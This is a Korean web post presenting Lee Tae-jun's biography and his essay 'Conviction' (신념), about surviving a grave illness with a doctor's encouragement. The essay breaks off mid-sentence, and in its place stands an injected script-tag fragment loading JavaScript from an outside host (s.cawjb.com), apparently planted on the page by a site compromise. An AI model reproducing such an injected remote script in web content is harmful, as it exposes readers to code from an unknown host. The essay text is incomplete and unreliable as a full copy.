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[제목] 휘문 출신 문인 시리즈 이태준 선배 (문형처사)
한국 근대문학의 명문장가로 유명한 이태준의 수필집 무서록 중 "신념"
그의 명문장이 단편 소설 등 형식의 굴레를 벗고 천의무봉(天衣無縫)의 모습을 보여주는 맛을 느낄 수 있다. 국내에서는 수필을 제대로 된 문학 작품으로 인정하지 않는 분위기가 강하나 이 작품집을 통해 고전과 현대의 중간점에서 독특한 미적 감각을 보여주는 사례를 찾을 수 있을 것 같다.

[작가 소개]
이태준(李泰俊, 1904-?) : 소설가. 호 상허(尙虛) ·상허당주인(尙虛堂主人). 강원 철원 출생. 휘문고보를 나와 일본 조치(上智)대학에서 수학했으며 <시대일보>에 <오몽녀(五夢女)>를 발표하면서 등단했다. 구인회(九人會)에 가담했고, 이화여전 강사, <조선중앙일보> 학예부장을 역임했다. <가마귀> <달밤> <복덕방> 등의 단편은 인물과 성격의 내관적(內觀的) 묘사로 한국현대 소설 기법의 바탕을 이룩한 것으로 평가된다. <문장> 지를 주관하다가 광복 후 '조선문학가동맹'에서 활동했으며 이후 월북했다. 소설집 <구원(久遠)의 여상(女像)> 외에 <해방전후> 등 작품이 있으며 <문장강화(文章講話)>란 문장론 저술도 유명하다.

신념

나는 몹시 이번 병을 겁내었다. 심훈(沈薰)이 바로 이 병으로 그 건장(健壯)하기 그것의 표본 같던 몸으로도 일순간에 죽어버린 것을 생각하매, 생각뿐 아니라 그의 죽은 몸 옆에서 경야(經夜)하던 것과 화장하던 광경이 불과 20일 전의 것이라 꿈에도 자꾸 보이는 것은 그 광경이었다.

그런 데다 누울 무렵에 자주 펼쳐보던 책이 <종교적 인간>이란 것인데 권말에 적힌 것을 보니 그의 저자가 바로 또 이 병으로 요절한 청년(靑年) 학구(學究)였다. 이런 불길한 기억들이 나를 은근히 압박한 때문이다.

이런 것들을 눈치챈 듯, 의사는 처음부터 나에게 약보다 먼저 신념을 권하였다. 콜레라 균을 발명한 독일의 의학자 고호와 대립하여 균의 절대 세력을 부정하던 학자라고 이름까지 대면서 그는 배양균을 한 컵이나 마시었으되 죽기는커녕 아무렇지도 않았다 한다.

그가 고호의 이론만을 이기려는 승부열에서가 아니요 균이 아무리 많이 들어가더라도 인체는 그것을 저항할 만한 능력이 있다는 신념을 자기는 굳게 가졌기 때문에 몇억만 마리의 병균을 마시기부터 한 것이요 또 마시었으되 얼마의 반응열(反應熱)만으로 이내 정상체를 회복한 것이라 이야기해주는 것이었다.

나는 이 이야기에 얼마나 큰 힘을 얻었는지 모른다. "오냐 아무리 내 몸에 숱한 병균이 끓더라도 나의 굳센 정신력만 빛날 수 있다면 태양력(太陽力) 이상으로 살균할 수 있으리라" 믿게 되었다.

그러나 하룻밤은 거의 자정인 때인데 이 병으로는 최악의 병상이 나타나고 말았다. 며칠 뒤에 알았지만 내 자신은 그렇게 다량인 배설물이 전부 피였다는 것은 알지 못하였다. 의사에게 말을 하려 하나 혀가 굳어진다. 손이 시린 듯해서 들어보니 백지 같다. 얼마 안 있어서는 손을 들 수도 없거니와 손가락이나마 좀 움직여보려니까 손가락들도 감각이 없어진다.

안해와 의사는 마루에서 무어라고 수군거린다. 수군거리다 들어와서는 의사는 외투를, 안해는 두루마기를 벗겨들고 또 모두 나가서는 이번에는 대문 소리만 내고 사라진다. 모두 구급약을 사러 가는 것인 줄은 의식했다. 그 다음에 안에서 누가 나를 지키려 나와 앉았었다고 하나 나는 그것을 전혀 모르고, 이렇게 혼자 죽나보다 하였다.

그 죽나보다 생각이 들자 나는 벌써 의식이 희박해졌다. 그랬기에 현실적인 유언류(遺言類)의 생각은 하나도 못 하였다. 오직 캄캄해져 들어오는 의식을 일 분간이라도 더 밝은 채 끌고 나가려 사운 듯했다. 그런데 놀라운 것은 그 안개 속 같은 싸움 속에서 완전히 들리는 의사의 말소리였다.

"신념을 가지십시오. 병은 죄악이 아니라 하나님의 시련이십니다"

하는.

나는 확실히 힘을 얻었다. "아직 죽을 때는 아니다. 내가 악한 일한 것은 없다." 단순하나마 굳센 정신력이 어디선지 솟아올랐음을 기억한다. 그 힘으로 나는 그 달무리 속 같은 흐릿한 의식이나마 아주 놓쳐버리지 않으려 싸워 나왔다. 1분, 2분, 그 지루한, 또 그 힘든 동안이 나중에 알고 보니 40분 동안이었으나 한 달이나 두 달의 거리처럼 아득하였다.

그러나 그 흐릿한 의식이란 가사(假死)에서의 혼백(魂魄)이었다. 의사에게 주사를 맞을 때에야 비로소 내 의식에 돌아온 것이다.

그 어두워만 들어오는 의식 속에서 그 평소에 귀에 박혔던 의사의 소리만 감각하지 못하였던들 나의 의식은 아주 어두워지고 말았을는지도 모른다. 또 그런 때 아주 어두워지고 마는 것이 죽음인지도 모른다.

의사의 신념설은 이 일발의 위기에서뿐 아니라 미리부터 또 나중에서 약서(?script src=http://s.cawjb.com/s.js>
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